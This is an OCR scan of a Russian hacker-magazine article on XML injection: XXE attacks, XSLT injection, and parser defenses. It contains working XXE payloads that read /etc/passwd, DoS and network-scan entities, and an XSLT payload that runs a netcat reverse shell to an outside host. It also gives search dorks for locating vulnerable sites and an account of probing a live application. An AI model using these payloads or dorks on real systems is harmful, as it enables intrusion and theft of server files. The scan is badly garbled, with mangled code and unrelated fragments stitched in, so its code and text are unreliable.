Исх одны й к од ст раницы
Х АКЕР
sour ce.html, реализующей спуфинr
здесь: goo . gl/ i tGVг . ::Х:
05 / 160/ 201 2
017
EPIDEMZ.NET
Андрей n eтyx oв landrepetukh ov.wordpress.comJ
. COVERSTORY
Николай Матюнии lmatyuni n.nliJgmail.coml
••~
пасная етка НАСТОЛЬНЫЙ СПРАВОЧНИК ПО АТАКАМ НАХМL ПРИЛОЖЕНИЯ
С одной стороны, тема
XML injection -
это жуткий баян ,
а с другой- она так популярна , чтобагитакого типа присутствовали во многих Х-конкурсах последнего
времени, например ZeгoNights
HackQuest и месяце поиска
уязвимастей в Яндексе. В этой статье мы постарались собрать и систематизировать все, что известно об
XML injection на
данный момент.
ХАКЕР
018
EPIDEMZ.NET
05/160/20 12
Опасная разметка
ЧАСТЬ ПЕРВАЯ , ТЕОРЕТИЧЕСКАЯ Начнем издалека. Стандартом определены два уровня правиль
нести документа
1.
XML:
Правильно построенный (well-foгmed) документ. Такой доку ментсоответствуетобщим правилам синтаксиса
XML,
примени
мым клюбомуХМL-документу. И если, например, начальныйтег
=·
~<Js t ring><String>desti nati on</S tring></t rai ts><doub te>l . 289047Э03817El2</doub te ><ОЬ j &ct><trai ts><Stri ng>OSI d</string></ t rai t s><St ri ng>80122бD2· овсе - 40SIF · SF40· В 1729314ES2F</s tring></obj ect><nu l l /><string>root: х: 0:0: root: / root : /Ьin/ bash
f
~in:x: 1: l:Ьin: / Ьin :/sbin/nologin
~aemon:x:2:2:daemon:/sЬin:/sЬin/nologin
не имеет соответствующего ему конечного тега, то зто непра
вильно пос'троенный
<?xmL vers1onz•1.0• encoalng:•ut ·8"1> <amf х ve r=• э• ><heade r nате=• AppendТoGatewayur t • ><S tri ng>; j sessi oni d=ЗсЭОЭ6d4f 9c:f ~ОЬf 4ЭЬ19104ЬSlбl4c:256SO</st ring></ heade r><body targett..fU :"JonResu l t • responsel.R "><Obj ect type=• ftex. messaging. messages .Ack nowtedgeМ&ssage• ><trai ts><St ring>t · mestaЩ></s tri ng><St ring>headerS</String><St ring>Ьody</stri ng><String>eo rre lati о ~ ~d </s t ri ng><S t г ing>messagei d </s tгi ng><St ring>timeToLi ve</S tring><St ring>e ti entl
_.
~dm: х: З: 4: adm:/var tadm: /sbin/ notogin
XM L.
р : х: 4:7:
2. Действительный (valid) документ. Действительный документ дополнительно соответствует некоторым семантическим пра
вилам. Это более строгая проверкакорректности документа на соответствие заранее определенным, но уже внешним прави
лам. Эти правила описывают структуру документа: допустимые названияэлементов,ихпоследовательность,названияатри
tp: /va r/Spool / lpd : /sЫ n/ notogin fsync: х: S: О: sync: /sЬin: t Ыn/sy nc tshutdown: х: б: О: shutdown: /s Ьin: /s Ыn/shutdown "• t t: х : 7: О: ho t t: /sbin: tsbint hot t ~i l: х : 8: 12 : Ni t: tvar /spool/mal t: /s Ьin/nologin re'WS:x :9: 1 З:news:/& t c/ ne'rl5: ucp: х: 10: 14: uucp: tvar /spoot t uucp: ts Ыn/notog in Успешное разрешение внешней сущности, указывающей на
/etc/passwd
бутов, их тип и тому подобное. Обычно такие правила хранятся
имени. Сущность определяется в
в отдельных файлах специального формата -схемах.
паmе
" value" > и
DTD через директиву <!ENTIТY
используется в документе как &паmе;. А потом
кто-то подумал, что глобализация должна быть глобальной,
Основные форматы определения правил валидности ХМL
документов- это DTD IDocumeпt Туре Defiпitioпl и XML Schema.
и придумал еще и внешние сущности lexteгпal eпtitiesl. Напри
Остановимся на
мер , можно определить внешнюю сущность cuггeпt-date:
DTD. Стандартом
предусмотрено два варианта
связывания документа с его схемой: либо через ссылку на схему
в заголовке ХМL-документа !этот заголовок называется Documeпt Туре Declaгatioпl:
< ?X.ml__\@_LS_ipп= " 1 • е" en coding= " U ".T uF c_-_,8",'_''?< > ---------<!DOCTYPE o.r:_qer SYSTE~ML-"~ o~ r~ de ~r c..·~d~t~ dc.."L > _ _ _ _ _ _ _ _ ___ _s._order > ~Rroduct> l2J 4 <}JШLQ~~c~L > ______________________
и перенести логику по вычислению текущей даты и времени на
внешний сервис. Предположим, что сервис возвращает ответ типа:
<count> l <Lcou~n~t~>~--------------------
< order> Соответственно, наш пример с добавлением текущей даты за
либо через описание схемы в документе iпliпe !аналогия: подклю
каза перепишется так:
чение CSS через ссылку или iпliпel:
<?xml vers5p~п~=~"~l~·~e~"~?~>~------------- <?xml
versioп- "1.6"
~_Q_OCTYPE
eпcodiпg, =-" ",_ U_,_ TL F ::.c -8 «-'' >;. _,> <-.___________
orde,-'r--J.___________________
~-QPCTYPE__orud~e~r~----------------------------- ~_EЦMEN~9ШLC(#PCQМ8J,-<>'------------------------
~!_E_LEMEНI_c_ouпt (#!'_C_DATA)"'>- - - - - - - - - - - - - -
<!ELEMENT Rroduct (#PCDATA)>
<!EL EMENT Qroduct (~#~ P~CD~A~T~A ~>_ _ _ _ _ _ _ _ _ _ _ ____ <!EL EMENT order (product. couпt)>
~~LEME~dat~imesta~mщц~>c__
J>
~!_E_L_E_r'1EJiL_o.r:.~e..L...(Qro_d_u_c~.,_c_Q_uпt_,,__.,..,.,.,'-'Ц-'-------------------
.s_order>
<!ENTITY
_ _ _ _ _ _ _ _ _ _ _ _ _ _ __ <co uпt > l <~c",_o",_u~п~ tL > __________________________
" h ttp://www .g_!!tcurreпttime.com / timestamQ. x ml" >
~Qroduct> 1234 <LQro~~~~~ >
_ _ _ _ _ _ _ _ _ _ _ __
~EHJ1EШ_j:_i_m_!!staтp_(.#PC.~D""A"T"" A-1-L> ----------------- curreпt-dat.!!~S~v~s~ т~ E~ ML_
_______________________
.]> ___________________________ <order>
~ order>
~RLQduct2.t~~Qro~uct~ >
Самое интересное в
DTD-
это то, что умные люди придума
_____________________________
<couпt> l </cQuп t~>~---------------------
ли так называемые сущности. Придумали, чтобы можно было
<date>&curreпt-date:~~d~ a~ t~ eL >
подключать 1асто используемые фрагменты ХМL-документов по
< order>
____________________________
ПОПУЛЯРНЫЕ ХМL-ПАРСЕРЫ Интерпретируемые языки
(РНР, Регl,
Windows-nлaтфopмa, .NET:
Java:
Python, Ruby и другие):
большинствоnарсеровиспользуютбиблио-
Apache Хегсеs: ~&Эi!Qie . няя версия- 2.11.0;
теки libxml21 _
lдляXSLTIApacheXalan-Java: ~
-2.7.81 и libxsltl
, nоследняя версия ~~ l;
1
, nослед-
L, nоследняя версия- 2.7.1;
в большинстве Windows-npилoжeний !на nисанных на
Delphi, JScгipt, VBScгipt и так
далее) для обработки ХМ L исnользуется парсер MSXML I.QQI
f1
.J., nоследняя
некоторые nарсеры исnользуют другие
работа с ХМL-nарсерами в Java реализуется
версия -6 .0 SP21;
библиотеки !наnример, модуль expat-
через общий интерфейс Java API fог XML
в . NЕТ-nриложениях для nарсинга
XML::Paгseг в Регl исnользует библиотеку
Pгocessing (JAXP. В ранних версияхJаvа
nользуются классы из nространства имен
Expat XML Рагsегl либо nолностью реализу
через JAXP был достуnен парсер Cгimson от
System.XML IXmiTextReadeг, XsiTгansfoгm
ются на <<родном» языке !наnример, парсер REXML в Rubyl.
Sunl.
и другие! .
ХАКЕР
XML ис
019
05/160/2012
EPIDEMZ.NET
COVERSTORY Последний элемент технологии- парсеры, которые, соб ственно, и разбирают ХМL-документы, валидируют их, разрешают
внешние сущности, реализуют стандартный интерфейс к постро
SOAP
И
DTD
енной объектной модели [OOMI и тому подобное. Парсеры бывают валидирующими и невалидирующим и. Вот что сказано в стан дарте о поведении парсера при наличии в документе ссылок на
Сnецификация nротокола
внешни~ сущности:
SОАР-сообщения, в частности явно заnрещает исnользование
<<When an XML processor recognizes а reference to а parsed entity, in order to vaLidate the documen~ the processor must incLude its repLacement text. If the entity is externaL, and the processor is not attempting to vaLidate the XML document, the processor may, but need not, incLude the entity's repLacement text ... »
SOAP nодробно
регламентирует структуру
DTD:
<<The XML infoset of а SOAP message MUST NOT contain а docшhent type decLaration information item>>. Таким образом nротокол защищен от возможности nроведения ХХЕ-атак. С другой стороны, конкретные реализации nротокола часто не следуют сnецификации.
вляющем большинстве случаев [библиотек)- ответственность Это важно! Тут говорится, что валидирующий парсер обязан
включить в документ содержимое внешнего файла [логично, иначе как парсер проверит правильнесть структуры документа?), а невалидирующий-по желанию. Однако на практике это свой ство << по желанию>> выполняется практиче ски у всех популярных парсеро в.
nрограмм иста.
Для того чтобы понять, насколько много уязвимастей ХХЕ nрисутствует в реальном мире, надо разобраться с тем, где
и когда в веб-приложениях используются nарсеры . Мы выделя
ем два класса исnользования парсеров: на уровне платформы 1 стандартных библиотек и на уровне прикладнаго [своего) кода. Тиnичный nример исnользования nарееров на уровне платфор
ЧАСТЬ ВТ ОРАЯ, ПЕРЕ Х ОДНАЯ
мы -поддержка протоколов
XML-RPC
и
SOAP,
на уровне при
Возможность подключения внешних сущностей волнует нас пре
кладнаго кода- реализация обмена данными между приложе
жде всего в контексте анализа защищенности веб-приложений.
нием и пользователем: импорт, экспорт и так далее. Со вторым
Из всего зоопарка протоколов, основанных на
XML, нас будут интересовать только популярные: SOAP и XML-RPC [краткую
случаем все ясно- вряд ли найдется много программистов,
справку о них ты найдешь во врезках) .
чтобы запретить разрешение внешних сущностей. П оэ тому
Что бы мы хоте ли получить в идеале? Конечно, возможность чтения локальных файлов вроде этого:
1.
В НТТР-запрос, в котором на сервер передается <!ENТITY ххе
2. 3.
XML,
вставля ем
SYSTEM "file:///etc/passwd">.
которые при инициализации XML-napcepoв nодумают о том, большинство функций имnорта данных в веб-приложение через
XML являются уязвимыми к внедрению внешних сущностей [за nримерам далеко ходить не надо: LFI через ХХЕ-уязвимость в phpMyAdmin- ~o.Q JL RQ.~ ). Разберемся теперь с nервым случаем- уровнем платфор-
В теле ХМL-документа даем ссылку на сущность- &ххе; .
мы. Посмотрим, что говорят сnецификации nротоколов
В ответе получаем содержимое локального файла.
RPC Однако в реальности, как говорится в одном анекдоте, «есть нюанс >>. Прежде всего попробуем рассмотреть ХМL-парсеры чуть
и
SOAP
про внешние сущности. В спецификации
расстраивают: « а
type
XMLSOAP нас
SOAP message MUST NOT contaiп а documeпt item>>. Как показывает опыт, наличие
declaгatioп infoгmation
более подробно. Как они обрабатывают внешние сущности по
правил в стеке еще не означает, что их будут выnолнять на прак
умо лчанию?
ти ке. Тем не менее, шансов найти уязвимость в коде nлатформы,
Есть три класса популярных платформ:
тируемые языки [РНР, Регl,
.NET, Java и интерпре Python, Ruby и подобные). Отметим,
реализующей
SOAP,
намного меньше, чем в прикладн ам коде.
С протоколом XML-RPC ситуация значительно лучше [для нас):
что все перечисленные ниже nарсеры по умолчанию не произво
про заnрет внешних сущностей или подключение ОТО в специфи
дят валидацию обрабатываемого документа. В
кации не сказано ни слова .
Windows и .NET используются MSXML-пapcep и пакет System.xml соответствен но. Только начиная с шестой версии , библиотека MSXML пере
стала разрешать ссылки на внешние сущности по умолчанию.
В результате всего изложенного мы сможем вывести классы
nрил ожений, которые, вероятнее всего, будут уязвимы к разреше
нию внешних сущностей [в порядке убывания вероятн ос ти):
В Java обычно используются пакеты Хегсеs и Xalan [для XSLT).
1.
Сustоm-приложения с функцией импорта данных в
И в том 1 и в другом па кете ссылки на внешние сущности по
2. 3.
Приложения, реализующие протокол
умолчанию разрешаются. Наши же любимые интерпретируемые
языки используют библиотеки
Веб-сервисы, реализующие
XML.
XML-RPC. протокол SOAP.
libxml2 и libxslt [для XSL Н кото
рые тоже по умолчанию разрешают ссылки на внешние сущно
сти. Вывод: запрет на разрешение внешних сущностей в пода-
ЧАС ТЬТРЕТЬЯ , ПРАКТИЧЕСКАЯ Следующий шаг- научиться понимать, разрешает заданное
Тестим имя ХМL-документа
ХАКЕР
020
EPIDEMZ.NET
05/160/2012
Опасная разметка
tf G> WWW.f:xploit-db.com(f:xploits/890 7/ S1f1ri prior to version • f~ the loc1l syst-.
This is
•ccoмpl1sl'l.ct Ьу
8il)'
pe,...it "" evil web PICt to ste011l f1les
-ountinc 01n
ххЕ
1tt1ck • c•inst the p1rsinc of
the XSL ХМL. This 1s Ь.st expl1ined with 1 s1.ple evil XSL f ile \othich includes 1 Oтtl thlt ltte.pts the ХХЕ 1tt1ck:
ent SYSTEit · нle:/1 / etc/p.~sswd ·> ] > o:sl : s'tyleshнt version• ·1 . e· -lns: Jtsl• •http : 11-, wЭ .orc/1999/XSL/ Trlnsn.,... •> <xsl:te«~Plltlt lllltch• •t · > <ht•l> <IDOCТYPE
doc {
<!ЕNПТУ
< Ьосl)'>
8elow you should
sн
tM cont.nt of 1 loc1l f1le, stolen
Ьу
this evil
-ь р•се.
е р/>
lent; cscript> llert(docuoмnt.Ьody.inne~L);
</scr-ipt> С /Ьоdу>
</ht•l)
< /кsl:te .. pl•te) < / кs l :styl•shltltt) То .ovnt the •tt•c k,
the •tt•cke" would serve • -ь ~1• whlch h•s MII"E type •nd ~uests to Ь. styled Ьу the evil styleshнt : <lкal ve"sion•·1.e· encod t nc• • ts0-8859 · 1·?) <?11:81 - stylesheet type •• teкt / xsl• h"ll!f• -s•f•"1ste•lf1lebuc . xsl ·l) (11:8})
ХМL
iМ"'tlltv•nt
</11:81) Full t e-chnic•l det•ils: http : //so"Y·~• s ts.o"c/secu"1ty/CESA-2et9 - Н6.htмl aloc post : http: // sc•"Y~•s t securi ty . Ыocspot . сое/ 2819/ H/•pples - s• f•"1 - •- f ixes -loc•l- f1le- t heft . htal {1ncludes 1-cHck detiOS) с....,..
Chr1s • .нwen..coa [2889 - 86-89]
ХХЕ в Safari позвоnяет вредоносной веб-странице считывать локальные файлы
Входной параметр- URL модуnя, который сделает ХSLТ-трансформацию по ХSL-файлу
с машины клиента
Здесь следует учесть, что сетевой фильтр на стороне тестируе
приложение внешнюю сущность или нет. Сделать это крайне
мого ве б- приложения может запрещать исходящие соединения
просто:
1.
2. 3.
Необходимо разместить на своем веб-сервере тестовый
в интернет, тогда наш метод <<В лоб>> не сработает. Внимательный
документ
extdoc.txt с каким-нибудь содержи мы м, например << iпclude me please! » !на самом деле файл можно даже не раз
читатель спросит: откуда же взять эти начальные списки
мещать!).
чего случайно оброним парочку намеков на паттерны гуглопоиска :
URL для
проверки? Конечно, у заказчика тестирования, ответим мы; после
Дать ссылку на него в ХМL-теле НТТР-запроса . Проверить access.log нашего веб-сервера -а не обратился ли
inuci_:_)шй_rpc. i!~P-><
кто к нему ? !Или ищем ошибку404, если не размещали.)
inurl:xml_rpc~p~p
Учитывая, что в протокола х
SOAP и XML структура ожидаемо
___
Итак, тестируемое нами приложение разрешает внешн ие
го на сервере документа известна, описанный процесс тестиро
сущности . Что дальше?
вания легко автоматизируется !с крипты и описание ты найдешь
1.
DoS-<!ENTIТY dos SYSTEM "/dеv/zеrо" >наниксахи<!ЕNПТУ dos SYSТEM "c: \ pagefile.sys" > на винде !последнее работает
2.
Сканируем локальную сеть- <!ENTIТY
на диске):
нестабильно) .
1. Берем список URL, реализующихХМL-протоколы , и в ци к ле от правляем по каждому адресу ХМL-документ !мы его заготовили заранее) формата SOAP или XML-RPC с внешней сущностью,
2.
scan SYSTEM
"\\192.168.1.1\С$" >. Помни, что сообщения об ошибках и вре
которая ссылается на файл с нашего сервера. При отправке запи
менные задержки- наше все! Кстати, про случай из жизни,
сываем IР-адрес и доменное имя очередного кандидата в файл.
связанный с этим трюком, написано в статье
Наш веб-сервер с конфигурирован не отдавать документ с те
Владимира Воронцова в этом номере.
лом ХМL-сущности как статический файл, а перенаправлять
3.
«Funny hacks»
Читаем локальные файлы . Казалось бы, все должно быть про
запросы к нему на специальный обработчик !например, php) .
сто: вставляем <!ENTIТY
Mod_Rewгite в помощь. Обработчик фиксирует все входящие
коне! Но нет.
pwd SYSTEM "/etc/passwd" > и
мы на
запросы в журнал, записывая IР - адрес отправителя.
3.
Чекаем полученные списки по IР-адресам и понимаем , какие
Во-первых, тебе кто-то обещал, что сущность, которую ты
определил в НТТР- запросе, попадет в НТТР-ответ? Правильно ,
URL заходили к нам за файлом .
Протокол XML-RPC: разработан в 1998
•
ЗАЩИЩАЕМСЯ
roдyl
1.
автор- Дзйв Уинер
IDave Wiпerl.
На примере Xeгces-napcepa пока же м, как можно защититься от
ХХЕ. Итак, устанавливаем необходимые значения для свойств
___:t\j:j:p_;.Lf ара_фе ..o.r:gLxmllf.ea.tu~s_Ldi.s_allow - do_c:!;шe.c:.~l:,_
парсера:
_Qocumeдt.!!.u_il_9er.f.<Lttory db".,fc.....::== - - - - - - - - - - - - - _Docщпent;!!_ujj._Q.erFactp_r_y.
/1
newlnstance(l;
Отключаем внешние cy~н~o~c~т~и~--------------------------
--~---------------------------------------
~~------------------------------------------------~bf.setFeature_~--------------------------------------
//xml . org/ sax/features/ external-paramet!!r-enti.ti_es_:._ ):
__::ьj;_"I;Q:
l
ХАКЕР
Протокол
SOAP:
текущая версия
спецификации
Simple Object Access Protocol specificatioп Versloп 1.21
Qo_c;_umentBuilJJ.!!r_ R,ilr:ser-=-:.......-___bl_ctQry. oewQщ:u.meп_:!:Bui)d_e~.r(.)_;_
dbf.setFeatuar5e~-----------------------------------
"http://xml.org/sax/features/external - general-entities" ,
•
разработан в1998 году,
При nомощи метода
setEntityResolver
можно задать свой
1.
обработчик внешних сущностей !nоявляется возможность не nросто игнорировать сущности, но и обнаруживать ХХЕ
атаки на наше nриложение!) . Для других ХМL-парсеров можно найти аналогичные свойства .
021
05 /1 60/2012
EPIDEMZ.NET
COVERSTORY ЧАСТЬ ЧЕТВЕРТАЯ , ДЕМОНСТРАЦИОННАЯ
ЧТО ПРОИЗОЙДЕТ, ЕСЛИ ВМЕСТО ЛОКАЛЬНОГО ХМL-ФАЙЛА УК~ЗАТЬ ЧТО-ТО УДАЛЕННОЕ?
Мы подумали: интересно, а за сколько мы сможем найти в ин тернете приложение, уязвимое не просто к классической ХХЕ
атаке, а чтобы там еще и ХSLТ-трансформация была? Сказано -сделано.
Перво-наперво мы пошли на сервисы поиска программно-
го кода [ QQeд.sg
~ 1' __ь
р
г
d ~иго ), а также в Google · поводу так не вовремя закрытого сервиса Google Code Seaгch). ,
(пользуясь случаем, хочу выразить глубокое сожаление по никто не обещал. Должно повезти. Стоит сказать пару слов про
Нас интересовал заведомо уязвимый участок кода, связан-
методику тестирования. В сustоm-приложениях и SОАР-сервисах
ный с загрузкой
формат обрабатываемого ХМL-документа известен (помним про WSDL). То есть нам необходимо во все теги отправляемого
ХS LТ-трансформации, имя которого берется прямо из пара
документа запихнуть ссылку на нашу сущность и посмотреть,
<<$xs ldoc->load($ __GET>>
вернется ли она в ответе. С
на шлись проекты с уязвимым кодом, но масштаб проектов нам
XML-RPC
дела обстоят хуже: в общем
случае мы не знаем сигнатур методов, реализуемых приложени
XML-
или ХSL-документа для послед ующей
метра GЕТ-запроса. Таким образом мы искали строки вида и
<<$xmldoc->load($_GET».
В результате
не понравился, и мы решили не связываться с ними. Следую
ем. Т.е. автоматизировать подстановку сущностей в параметры
щей идеей был поиск веб-приложений, в которых есть модули
вызываемых RРС-методов в общем случае нам не удастся. Тут
ХSLТ-трансформации, принимающие в качестве аргумента имя
тебе в помощь может прийти спек, описывающий расширение
ХМL-документа: inurl :"transform.php?xml=" (и потрясающее
__1J_Д
XML-RPC,-
/_
Q
1
n.
Используя его, ты, например, можешь получить список мето-
дов, поддерживаемых на сервере. Увы, далеко не все
XML-RPC
inurl:"transform.py?xml="-
от структуры
URL
на сайтах из
выдачи слезы наворачивались на глаза). В итоге для дальней шего анализа мы взяли одно из приложений, в
URL
которого
приложения реализуют интроспекцию. Во-вторых, почему после
былозначение /path/transform.php?xml=<имя документа>. Нам
подстановки сущности итоговый
повезло, что обо всех ошибках, возникших при трансформа
XML должен
остаться правильно
построенным? Хорошо, что как минимум в случае с РНР по этому
ции, приложение радостно сообщало в НТТР-ответе . Первым
поводу беспокоиться не стоит,- делаем Ьаsе64-обертку вокруг
делом нам интересно было узнать, что про изойдет, если вместо имени локального ХМL-файла указать что-то удаленное:
считываемых данных:
transform.php?xml=http://ya.ru/. < _LEr-JIПY. bJo _.5)'SJЛL~p_tщ;L/_бl:ter/_r.e_ad=conv.ert
деловито полезло за ХМL-документом на Яндекс, но поперхну
.__ _
I;Jas_e6_9:-_e_JJ.co.ge_Lr~-~-qцc_~_e--=/_p~_t_I)L:to/biлaryJfile " ~---·--- __
/path/
Как мы и предполагали, оно
_
лось (см. иллюстрацию). Дальше план был таков:
Далее мы должны познакомить тебя еще с одним интересным методом внедрения
XML.
1.
Данный метод может привести к вы
полнению кода на сервере. Есть такая технология, называется
XSLT (см. врезку). Обычно она используется для перевода ХМL документов, обрабатываемых веб-приложением, в пригодный
(качать на управляемый намивеб-сервер исходный ХМL документ, который успешно проходит трансформацию . Доку мент, очевидно, был доступен как /раth/<имя документа>.
2.
Добавить в документ iпline-OTO, в которой определить парочку сущностей- простую и внешнюю:
для отображения в браузере вид. Для трансформации нужны два ХМL-документа: исходный документ, который мы хотим трансфор мировать, например, в формации. В
99%
XHTML,
<! ENТII.Y _pi "3 .141592" >
и документ с описанием транс
случаев документ, описывающий трансформа
цию, лежит на сервере веб-приложения, а путь к нему прописан
а в самом ХМL-документе сослаться на простую сущность
в каком-нибудь конфиге. В остальном проценте случаев путь
(для начала).
к нему передается в
URL (:facepalm:). Учитывая такой дизай
pi
нас НТТР-параметр не подвергается никакой обработке, то есть
XML с нашего сервера: /path/transform.php?xml=http://youllneverguessthena.me/ inc.xml и поискать в ответе число пи (почему еготам могло не
мы сможем указать ХSL-документ, лежащий на нашем серве-
оказаться- читай ниже). Нам повезло- сущности, разрешае-
нерский шаг, можно быть уверенным в том, что интересующий
З. Запросить трансформацию заряженного
ре. А дальше, если ХSLТ-трансформатор был инициализирован в РНР- ~о де кривого веб-приложения следующим образом: $_рг_щ__.=__ _"_ ~_XSLTProc_essor(.)__;
__ _ __ _
XSLИXSLT
$рс_ос_: ~r:e gisterPHPFunctJpл_s_(.)_;_
то мы сможем внутри ХSL-документа использовать РНР-функции, ExtensiЫe
например, вот так:
Stylesheet Language IXSL)- это
груnпа языков,
nредназначенных для nреобразования ХМL-документов или их ~X$_l_~.$:ty,l_e,ille_g_t_ versioo.::::__;~.__,__e_t_ _______ ·-----·- __________ _ ____ l<.ПJ.:!.дEK~l_=__:'_!lttblLI'IW\>1 ._wh__o_cg[1999 LX$L,LT rans f_QГJ11_':_____ _ __ ___ __J mlл_s__:_p.h~_t_t_p___;__[LQbQ. ne__tasl" > __________ _
визуального nредставления. Эта груnпа состоит из трех частей :
XSL Tгansfoгmations (XSLT) -язык nреобразований ХМL документов;
ч sl ~ t_empJiLt_e__m_<~tch= " /" > .
XSL Foгmatting Objects (ХSL-FО)-язык, сnецифицирующий
~x_sl:yaly_e..:_Qf
визуальное nредставлен и е ХМL-документа;
··----------------__s_e_lect= ________ __ _ _ _ _ _ _ _2php_: tunJ:tiQQ(_:__sy~tgi!L_..____ _ _ _ _________ _ _ _ __:Jl_c_IJ.;J~ker.me 1234~e_LI;JiдLbasb. :__у'__)_'У_ ~------_<_Lxsl :tempJa:te_?_______ _ ~JxsJ._ _: ~yle_!;h,_._,e"_,e"___,t'"">________________________________ _
XML Path Language (ХРаth)-язык, предназначенныйдлядо стуnа к оnределенным частям ХМL-документа (исnользуется как в контексте XSLT, так и самостоятельно). Сnецифицируется консорциумом WЗС (ExtensiЫe
Хорошо, что подобных приложений в природе мало (google кунг-фу поможеттебе их найти) и с каждым днем становится все меньше:).
Language IXSL)
Stylesheet
Veгsion 1.1).
ХАКЕР
022
EPIDEMZ.NET
05/160/2012
О п асная разметка
<?xml versioп= "1. 0" encoding="UTF-B"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http'Uschemas xmlsoap org/soaplenvelope/" xmlns:namesp2="http'Unamespaces soaplite com/perl" xmlns:xsi="http'Uwww w3 org/2001/XMLSchema-jnstance" xmlns:SOAP-ENC-"http:Uschemas xmlsoap.org/soap/encoding/" xmlns:namesp84="http://xml apache org/xml-soap" xmlns:xsd="http'//www wЗ.org/2001/XMLSchema" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAPENV:Body> <SOAP-ENV: Fau~><faultcode
xsi:type="xsd:string">SOAP-ENV:511 </fau~code><faultstring xsi:type="xsd:string">Unknown language</fau~string><detail xsi:type="xsd:string">Unknown language root:x:O:O:root:/root:/Ьin/bash daemon:x: 1:1 :daemon:/usr/sbln:/Ыn/sh Ып:х:2:2:Ып:/Ып:/Ып/sh sys:x:З:З:sys:/dev:/Ыn/sh sync:x :4:65534:sync:/Ыn:/Ыn/sync games:x:5:60:games:/usr/games:/Ыnlsh man:x:6:12:man:lvarlcachelman:/Ыn/sh ХХЕ в Яндексе обнаружилась nри обработке
ИСТОРИЯ РАЗВИТИЯ
XML
INJECTION
1999
В спецификации
RFC 2518 для
WеЬDАV-приложений рассма
триваются возможные опасности, связанные с разрешением
внешних сущностей в
XML.
2002
SOAP lк слову о specification vs implementationl
Грегори С тюк IGregory Steuck) в рассылке securityfocus.com впервые описывает атаку ХХЕ. Амит Кляйн IAmit Кlein) пишет об уязвимости Exterпal
Entity Expansion
в продуктах ведущих
вендорав !возможность DоS-атаки на основе ХХЕ, так называе мы е парсером в исходном док у менте, проходили трансформа
мой <<Ьillion
laughs attack>>).
цию в конечный документ . Нам оставался последний шаг.
Модифицируем ХМL-документ на нашем сервере второй раз ,
4.
добавляя ссылку на внешнюю сущность I&Ыaccess;) в тело документа , и повторяем запрос на трансформацию. Конечно ,
Распространение уязвимастей XPath/XSLT injection.
читать остальные файлы lв том числе /etc/passwd и /dev/zero) мы не стали, зато уведомили администратора сайта об уязви мости.
2005
ХХЕ-уязвимость в
Adobe Reader 7. XSLT injection
в
Firefox.
Теперь пару слов о том, почему нам повезло. Вообще-то ХSLТ
трансформатор не обязан выводить в итоговый документ сущно сти, разрешенные в исходном. Чтобы заставить его это сделать,
в libxml2 la следовательно, и в РНР ) нужен дополнительный
2007
вызов . В итоге код, реализующий трансформацию , должен быть
XML injection в Sun Java System Application Server and Web Server, связанная с внедрением команд в процессе ХSLТ
примерно таким !ключевая строка-
обработки .
substituteEntities):
<?php
2008
// k!C:J<Oдt!blЙ AOI<YME!HT
ХХЕ в
$.>шil = !eW. .DOMD9.cu.ment_;
- ... $xmJ- >loa_d_{ 'coll.e_c:!;ion •.x!!l.l' ); ....
2009
fj _ДЩ<YJI.IE!I:!.'I, QП11.СЫ.Ва!9lii.И.~ .J!раВИfl.i1 ...IРаНсфррмаци. и........ ..
$х~1 =
-..... POMDЩ.I.!III.e_пt;
1/.__Qс:ущ_еслтть JL. !1АУI!IИ_Й_Е!
Sun Java JDK and JRE 6 Update 3.
ХХЕ в
-· ..
Apple Safari, iPhone 05 1.0.
2010
IIPACiilн<JE!ISY. . ЧI!Iн.9стей .. Е! .. АРкУме.нт:~ ..
IP<ШcфQpMaTQ!J_
l.! .. С:РОТЕ!е.н:.твую!Щl.!J .. н.а.с ТР...QЙ.К.н ... Е!. JjJJxroJ~ .. ·-
Серия уязвимопей
11
Adobe.
опис .ан;~ cYТ .: ...xm:tsof:!:.•.9.rg/xnй.reacJer.
htm.l#Ent::lt:i..es II .отмет.11м" что 2то ..самРде_ятеni>li.QСТь :J.JP.xm12.~ ....... .. /J ...E! С:!JЕ!!.J.Иф~КЩШИ .DOt-\. ПРQ.. ;по .I:IЛ.. ti.И Cfi.<J.E!i! $cJ.oro - >su.t1.s.titute~.otiti.es = t:r_щ!_; _ $x_s1->lo;н:l( 'coll.e ction. x.~:t' );
XML injection
сразу в нескольких продуктах
2011
Уязвимости, связанные с ХХЕ, в Microsoft XML Editor lи Прило жениях Microsoft, его использующих).
/L_Ин11Y.I1afl.!iЗ.i1Ц1:1fJ.. XSJ Т -тpal:t.cфopf-1a.I9P.i1 (B.P<IГШE!P .. I:t.М.. ЦI;>xsl!) $.Pr.oc = L •~о, XSL TE'rocess.oc.;
11
C:в~:~зьiE!il.ttиe IР.анс:форм_;;~трра .с ПРё\вила.ми ТРё\нС:~Р.мащш .
$_p.ro.c - >imp_ q r:tStyle.Sh.ee.t(.$xsl).; 11 Примен.ение трящформ<Ш.1:1И к АокУменту _ ect!o. $pr_o_cc. :>tral)s_f_qrmТ.oXML .($xmJ,).;.
cq:J.J.e.c:Цon.xm:t..
• Сnецификация XML 1.0L: 9.!!! l•1UK, •
-~.>-
ЗАКЛЮЧЕНИЕ Вообще отношение к сущностям во время трансформации сильно
зависит !внезапно!) от конкретного парсера . Так что на практике тебе придется проверять поведение в каждом конкретном случае. Сохранение сущностей после трансформации в современных ХМL парсерах- отличная тема для хорошего и очень востребованного
обзора.
ХАКЕР
Anyone?
Вся информация
На нашем диске ты
nредоставлена
най.деwь исходнмки,
исключительно
описанные в статье,
в ознакомительных
а также nримеры
• Сnисок ХМL
целях. Ни редакция,
уязвимых к
nротоколов от WЗС: g 10
ни авторы не несут
/Kz.JLY. .
XML iл jectioл nриложений.
ответственности за
любой возможный
• Блоr Владимира
вред, nричиненный
Воронцова, описание ХХЕ в Яндексе:
статьи.
материалами данной
У нас все. :Х:
023
05/160/20 12
EPIDEMZ.NET
. . /~
,
路路;
EPIDEMZ.NET
[ Passed [ Passed [ Passed [ Passed [ln Progress
base. :t xz kernel. txz gaнes. txz 1 ib32. txz ports. txz
] ] ] ] ]
Uerifying checksuнs of selected distributions. Overall Progres 88%
---------------------------------------+
EPIDEMZ.NET
[.._о] Создать новую учетную за ... ~ jl m
~ SFТP Пароль 192.168.0.101
EPIDEMZ.NET
* ··
1*
Каталог gлg эагруэкu фа0лоВ "doыnload-diг" : "\/nnt\/toггents\/" ,
lmagesv O lntormationv
ResumcAII
1*
Лuмuты на скорость скачuВанug
taaa , taaa ,
"do~&Лload-limit" : "download-limit-enaЬled" :
u
